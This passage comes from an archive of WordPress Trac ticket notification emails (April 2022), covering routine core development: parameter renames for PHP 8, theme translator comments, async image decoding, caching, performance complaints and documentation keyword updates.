to `$default_template` in `page_template_dropdown()`. * Renames the `$default` parameter to `$default_page` in `parent_dropdown()`. * Renames the `$object` parameter to `$data_object` in: * `do_block_editor_incompatible_meta_box()` * `do_meta_boxes()` * `do_accordion_sections()` * Amends the `$item_object` parameter in other functions for consistency: * `wp_nav_menu_item_post_type_meta_box()` * `wp_nav_menu_item_taxonomy_meta_box()` * `_wp_nav_menu_meta_box_object()` Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:32> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 15:21:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 15:21:57 -0000 Subject: [wp-trac] [WordPress Trac] #55564: Twenty Twenty-One: edit translator comment in Continue Reading text In-Reply-To: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> References: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> Message-ID: <070.519a87a2bba834deb8f84854cb64f33c@wordpress.org> #55564: Twenty Twenty-One: edit translator comment in Continue Reading text ------------------------------+---------------------------- Reporter: sabernhardt | Owner: davidbaumwald Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: docs ------------------------------+---------------------------- Changes (by davidbaumwald): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53221" 53221]: {{{ #!CommitTicketReference repository="" revision="53221" Twenty Twenty-One: Correct translator comment in `twenty_twenty_one_continue_reading_text`. This commit updates the translator comment in `twenty_twenty_one_continue_reading_text` to indicate that the text is visually hidden. This change also corrects the comment above the `the_content_more_link` filter to reference the content, not the excerpt. Props sabernhardt, costdev. Fixes #55564. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55564#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 15:58:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 15:58:11 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.315216639f7f1e8f891a9217f344409e@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53222" 53222]: {{{ #!CommitTicketReference repository="" revision="53222" Menus: Use correct parameter in `_wp_nav_menu_meta_box_object()`. Follow-up to [53220]. Props davidbaumwald. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:33> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 16:06:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 16:06:15 -0000 Subject: [wp-trac] [WordPress Trac] #55504: Pullquote Block: Need Option to change casing of the citation text In-Reply-To: <058.b42e25aee68c5461d5ecbaa19a959df8@wordpress.org> References: <058.b42e25aee68c5461d5ecbaa19a959df8@wordpress.org> Message-ID: <073.87fe1741a882cdc46773131ad494ad0d@wordpress.org> #55504: Pullquote Block: Need Option to change casing of the citation text -----------------------------+---------------------------------- Reporter: bhaveshdesai13 | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.2 Severity: minor | Resolution: Keywords: | Focuses: css, administration -----------------------------+---------------------------------- Changes (by sabernhardt): * keywords: needs-design-feedback needs-dev-note needs-design needs-patch => * component: General => Editor Comment: Hi and thanks for the report! Could you [https://github.com/WordPress/gutenberg/issues/new/choose open an issue] about this on the Gutenberg GitHub Repository instead? That is where any changes would be made. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55504#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 16:28:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 16:28:16 -0000 Subject: [wp-trac] [WordPress Trac] #55564: Twenty Twenty-One: edit translator comment in Continue Reading text In-Reply-To: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> References: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> Message-ID: <070.f3612666246769b005ac27a68ee6a8a9@wordpress.org> #55564: Twenty Twenty-One: edit translator comment in Continue Reading text ------------------------------+---------------------------- Reporter: sabernhardt | Owner: davidbaumwald Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: docs ------------------------------+---------------------------- Changes (by SergeyBiryukov): * Attachment "55564.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55564> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 16:30:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 16:30:13 -0000 Subject: [wp-trac] [WordPress Trac] #55564: Twenty Twenty-One: edit translator comment in Continue Reading text In-Reply-To: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> References: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> Message-ID: <070.4eb2e4db0b51e4d7a2790ecf42b9e068@wordpress.org> #55564: Twenty Twenty-One: edit translator comment in Continue Reading text ------------------------------+---------------------------- Reporter: sabernhardt | Owner: davidbaumwald Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: Keywords: has-patch commit | Focuses: docs ------------------------------+---------------------------- Changes (by SergeyBiryukov): * status: closed => reopened * resolution: fixed => Comment: [attachment:"55564.diff"] uses the same translator comment in other files of the theme. Should we open a ticket to make these changes for other bundled themes too? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55564#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 17:22:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 17:22:21 -0000 Subject: [wp-trac] [WordPress Trac] #15134: WordPress should not try to remove themes or plugins recursively if the directory is a symlink In-Reply-To: <063.b4790b9dde77a313ebcfce1c9b3877f0@wordpress.org> References: <063.b4790b9dde77a313ebcfce1c9b3877f0@wordpress.org> Message-ID: <078.f0c760d11ca80616f35284a75d9c94f9@wordpress.org> #15134: WordPress should not try to remove themes or plugins recursively if the directory is a symlink --------------------------------------------------+----------------------- Reporter: vladimir_kolesnikov | Owner: pbiron Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.1 Component: Upgrade/Install | Version: Severity: critical | Resolution: Keywords: has-patch needs-testing dev-feedback | Focuses: --------------------------------------------------+----------------------- Changes (by pbiron): * milestone: 6.0 => 6.1 Comment: As 6.0 is in Beta 2, moving this to 6.1 to give us more time to test the patch, especially for non-direct filesystems. -- Ticket URL: <https://core.trac.wordpress.org/ticket/15134#comment:40> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 17:31:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 17:31:13 -0000 Subject: [wp-trac] [WordPress Trac] #51126: Document the update offer parameter for auto updates In-Reply-To: <055.935ea9cae3c11fdd2716ca01d451cc24@wordpress.org> References: <055.935ea9cae3c11fdd2716ca01d451cc24@wordpress.org> Message-ID: <070.e71e2413b81552ea1b2e3dee9e01cd49@wordpress.org> #51126: Document the update offer parameter for auto updates -------------------------------------+------------------------ Reporter: johnbillion | Owner: desrosj Type: task (blessed) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: docs -------------------------------------+------------------------ Comment (by afragen): Consider adding a doc comment that "additional properties may also be present" -- Ticket URL: <https://core.trac.wordpress.org/ticket/51126#comment:30> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 19:02:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 19:02:44 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.963e3f9acf127444e65f02a361f1beca@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Comment (by adamsilverstein): This looks great @costdev thanks for the improvements! I pushed one tiny doc block improvement ([https://github.com/WordPress/wordpress- develop/pull/2409/commits/b96603a04864a2524914e3a26b53491634c7e1ec commit]). -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232#comment:64> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 19:03:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 19:03:33 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.d8684cac12cfafb18e8bdb012e4c8e5c@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Changes (by adamsilverstein): * Attachment "53232.5.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 19:09:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 19:09:39 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.d4b25d12dcdea4ffcad2c3c3b9cff6cb@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Comment (by costdev): @adamsilverstein The PR looks good to me, but the updated patch [https://core.trac.wordpress.org/attachment/ticket/53232/53232.5.2.diff 53232.5.2.diff] doesn't have all of the changes in the PR. Should this have been a refresh of [https://core.trac.wordpress.org/attachment/ticket/53232/53232.10.diff 53232.10.diff] instead? I think [https://github.com/WordPress/wordpress-develop/pull/2409 PR 2490] is ready for `commit` consideration, and the Dev Note can be written. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232#comment:65> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 19:11:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 19:11:04 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.11af67c4b7245df218d911d1190afa72@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Comment (by adamsilverstein): hmmm, should have been all the changes from the PR, fixing -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232#comment:66> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 19:12:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 19:12:04 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Changes (by adamsilverstein): * Attachment "53232.5.2.diff" removed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 19:13:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 19:13:10 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.2f03624f930ebf0ddadbb69327e7c323@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Changes (by adamsilverstein): * Attachment "53232.11.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 19:14:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 19:14:03 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.866bcf44650ab79ccb8318749bc135a0@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Comment (by adamsilverstein): @costdev I corrected the patch - uploaded the correct file this time :) see [attachment:"53232.11.diff"] -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232#comment:67> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 23:01:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 23:01:30 -0000 Subject: [wp-trac] [WordPress Trac] #55347: There should be filter for image tag in wp_filter_content_tags() In-Reply-To: <051.4c28ae614b265b131f10f373a6050f15@wordpress.org> References: <051.4c28ae614b265b131f10f373a6050f15@wordpress.org> Message-ID: <066.44b6571441b9b1fa20292e2ed3beb435@wordpress.org> #55347: There should be filter for image tag in wp_filter_content_tags() -------------------------------------------------+------------------------- Reporter: pbearne | Owner: flixos90 Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: needs-dev-note needs-docs | -------------------------------------------------+------------------------- Comment (by pbearne): first stab at the dev note https://docs.google.com/document/d/1YoawQHYxF7xEpFLE4AyD-LqOdcp7-- psgDkURaB0ugw/edit?usp=sharing -- Ticket URL: <https://core.trac.wordpress.org/ticket/55347#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 23:31:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 23:31:07 -0000 Subject: [wp-trac] [WordPress Trac] #55352: Improve cache key generation in WP_Term_Query In-Reply-To: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> References: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> Message-ID: <071.b67ab4f6f7ad91e0ee55772a9f93632e@wordpress.org> #55352: Improve cache key generation in WP_Term_Query --------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: performance --------------------------------------+--------------------------- Comment (by peterwilsoncc): Replying to [comment:13 spacedmonkey]: > I know @peterwilsoncc had a flagged something similar. As this is a small change, I think that can made it into 6.0 Agreed, it's a bug on this enhancements. When patching, are you able to write up some tests and also check if `$taxonomies` needs to be sorted too? I'll leave you to decide whether you wish to reopen this ticket or create a follow up. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55352#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 23:35:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 23:35:50 -0000 Subject: [wp-trac] [WordPress Trac] #39358: Media search speed has been dramatically reduced In-Reply-To: <049.8ba1527f4148076146b0e409f92845dd@wordpress.org> References: <049.8ba1527f4148076146b0e409f92845dd@wordpress.org> Message-ID: <064.e777ac020a99762e71501a9499a1e23b@wordpress.org> #39358: Media search speed has been dramatically reduced --------------------------+----------------------------- Reporter: merts | Owner: joemcgill Type: defect (bug) | Status: reopened Priority: normal | Milestone: Future Release Component: Media | Version: 4.7 Severity: normal | Resolution: Keywords: needs-patch | Focuses: performance --------------------------+----------------------------- Comment (by 3r3ct0r): Hi there. Same problem on WordPress 5.9.3. Very slow request, and exploding CPU load (+80,000 photos for almost 100,000 blog posts). -- Ticket URL: <https://core.trac.wordpress.org/ticket/39358#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 00:57:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 00:57:02 -0000 Subject: [wp-trac] [WordPress Trac] #19901: Speeding up Dashboard and Comment moderation SQL load In-Reply-To: <055.c7fb7faa472b1f2f74d793cc24af5d1c@wordpress.org> References: <055.c7fb7faa472b1f2f74d793cc24af5d1c@wordpress.org> Message-ID: <070.4c5b79f7aac3fbbc3370abed971c229f@wordpress.org> #19901: Speeding up Dashboard and Comment moderation SQL load -------------------------------------------------+------------------------- Reporter: FolioVision | Owner: | spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Comments | Version: 3.3 Severity: major | Resolution: Keywords: needs-testing has-patch commit | Focuses: assigned-for-commit | performance -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: closed => reopened * resolution: fixed => Comment: @spacedmonkey Reopening this because I realised the docblock needs updating: * remove reference to always using live count * remove wpdb global (from docblock and within function) ---- Also does `wp_count_comments()` still need a cache or should a follow up be created to remove it in 6.1 now that `get_comment_count()` caches via the comment query? -- Ticket URL: <https://core.trac.wordpress.org/ticket/19901#comment:38> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 01:22:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 01:22:09 -0000 Subject: [wp-trac] [WordPress Trac] #40582: Capitalize character - "CTRL + a" -> "CTRL + A" In-Reply-To: <053.d5236948cdeb29a18238315f2650dd19@wordpress.org> References: <053.d5236948cdeb29a18238315f2650dd19@wordpress.org> Message-ID: <068.66e6e9b27ce2c3e8a3e6759f2e3976ce@wordpress.org> #40582: Capitalize character - "CTRL + a" -> "CTRL + A" ---------------------------------------+----------------------- Reporter: Presskopp | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.7.4 Severity: minor | Resolution: fixed Keywords: has-patch needs-user-docs | Focuses: ui-copy ---------------------------------------+----------------------- Changes (by dd32): * keywords: has-patch needs-codex => has-patch needs-user-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/40582#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 01:22:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 01:22:25 -0000 Subject: [wp-trac] [WordPress Trac] #49760: Twenty Fifteen: Add gradient background options that fit the theme color scheme In-Reply-To: <055.4dbf0f6607ab62354dd71eb4ff739b6a@wordpress.org> References: <055.4dbf0f6607ab62354dd71eb4ff739b6a@wordpress.org> Message-ID: <070.53e65e751afccde3d82f88de933f0948@wordpress.org> #49760: Twenty Fifteen: Add gradient background options that fit the theme color scheme -------------------------------------------------+------------------------- Reporter: ianbelanger | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch commit | Focuses: ui needs-user-docs | -------------------------------------------------+------------------------- Changes (by dd32): * keywords: good-first-bug has-patch commit needs-codex => good-first-bug has-patch commit needs-user-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/49760#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 01:22:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 01:22:39 -0000 Subject: [wp-trac] [WordPress Trac] #49762: Twenty Thirteen: Add gradient background options that fit the theme color scheme In-Reply-To: <055.86bd25ea1734196a3534b540687f4391@wordpress.org> References: <055.86bd25ea1734196a3534b540687f4391@wordpress.org> Message-ID: <070.7ba82532b2ae3eab684874a1a7863c8b@wordpress.org> #49762: Twenty Thirteen: Add gradient background options that fit the theme color scheme -------------------------------------------------+------------------------- Reporter: ianbelanger | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-screenshots commit | Focuses: ui, css needs-user-docs | -------------------------------------------------+------------------------- Changes (by dd32): * keywords: has-patch has-screenshots commit needs-codex => has-patch has- screenshots commit needs-user-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/49762#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 01:22:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 01:22:51 -0000 Subject: [wp-trac] [WordPress Trac] #54426: Add a "Copy URL to clipboard" row action in Media > Library...similar to the botton on the Edit Media screen In-Reply-To: <050.9285dabd471bc0880785e0ab08880a2b@wordpress.org> References: <050.9285dabd471bc0880785e0ab08880a2b@wordpress.org> Message-ID: <065.c2a5cfb8f1a2912375fb811b6e633cc9@wordpress.org> #54426: Add a "Copy URL to clipboard" row action in Media > Library...similar to the botton on the Edit Media screen -------------------------------------+------------------------------------- Reporter: pbiron | Owner: davidbaumwald Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: fixed Keywords: has-screenshots has- | Focuses: ui, accessibility, patch needs-testing needs-dev- | javascript note needs-user-docs | -------------------------------------+------------------------------------- Changes (by dd32): * keywords: has-screenshots has-patch needs-testing needs-dev-note needs- codex => has-screenshots has-patch needs-testing needs-dev-note needs- user-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/54426#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 01:23:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 01:23:01 -0000 Subject: [wp-trac] [WordPress Trac] #55373: Attachment template: Rename from "Media" to "Attachment" In-Reply-To: <053.5badf15f4756f2e0685d9e3287845d07@wordpress.org> References: <053.5badf15f4756f2e0685d9e3287845d07@wordpress.org> Message-ID: <068.b86c0d4cb9ed0448aa0fe6dd47dbbce2@wordpress.org> #55373: Attachment template: Rename from "Media" to "Attachment" ------------------------------------+---------------------------- Reporter: scruffian | Owner: davidbaumwald Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: 5.9 Severity: normal | Resolution: fixed Keywords: commit needs-user-docs | Focuses: ------------------------------------+---------------------------- Changes (by dd32): * keywords: commit needs-codex => commit needs-user-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55373#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 01:23:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 01:23:12 -0000 Subject: [wp-trac] [WordPress Trac] #55395: Update Twemoji for 6.0 In-Reply-To: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> References: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> Message-ID: <066.b2c90f551d32648f7ade83d48e9c015a@wordpress.org> #55395: Update Twemoji for 6.0 ------------------------------------+---------------------- Reporter: kraftbj | Owner: kraftbj Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Emoji | Version: Severity: normal | Resolution: fixed Keywords: commit needs-user-docs | Focuses: ------------------------------------+---------------------- Changes (by dd32): * keywords: needs-codex commit => commit needs-user-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55395#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 01:23:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 01:23:21 -0000 Subject: [wp-trac] [WordPress Trac] #55528: Register a oEmbed handler for YouTube Shorts In-Reply-To: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> References: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> Message-ID: <074.a9c9c303c36959279d4a16c5f65d59e1@wordpress.org> #55528: Register a oEmbed handler for YouTube Shorts ----------------------------------------------+---------------------------- Reporter: danielbachhuber | Owner: peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Embeds | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit needs-user-docs | Focuses: ----------------------------------------------+---------------------------- Changes (by dd32): * keywords: has-patch commit needs-codex => has-patch commit needs-user- docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55528#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 01:30:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 01:30:36 -0000 Subject: [wp-trac] [WordPress Trac] #55585: WordPress 5.9 wp-container styles introduce Cumulative Layout Shift In-Reply-To: <052.583bfbdd55bf170240e6c4e46bfe7654@wordpress.org> References: <052.583bfbdd55bf170240e6c4e46bfe7654@wordpress.org> Message-ID: <067.7ecf14360bb06238d40dd8e9b40af5fb@wordpress.org> #55585: WordPress 5.9 wp-container styles introduce Cumulative Layout Shift --------------------------+------------------------------ Reporter: rinart73 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Themes | Version: 5.9 Severity: normal | Resolution: Keywords: | Focuses: css --------------------------+------------------------------ Comment (by ramonopoly): Thanks for creating this ticket. Many of this issues are being looked at as part of the styles engine work. See https://github.com/WordPress/gutenberg/pull/38974 and https://github.com/WordPress/gutenberg/pull/39374 as examples of experimentation around this issue. In summary, consolidation and deduplication of the styles is a goal. So is loading them in the page as a consolidated style sheet. It's still in the early phases. I'm thinking it might be better to create a specific issue in Gutenberg for this, since it's something that would be fixed there initially. Cumulative Layout Shift is something we should also take into consideration, so thanks again for raising it. Here's the tracking issue over in the Gutenberg repo: https://github.com/WordPress/gutenberg/issues/38167 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55585#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 04:16:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 04:16:03 -0000 Subject: [wp-trac] [WordPress Trac] #19901: Speeding up Dashboard and Comment moderation SQL load In-Reply-To: <055.c7fb7faa472b1f2f74d793cc24af5d1c@wordpress.org> References: <055.c7fb7faa472b1f2f74d793cc24af5d1c@wordpress.org> Message-ID: <070.234861ab79c0f29b4fed4510c5811b4f@wordpress.org> #19901: Speeding up Dashboard and Comment 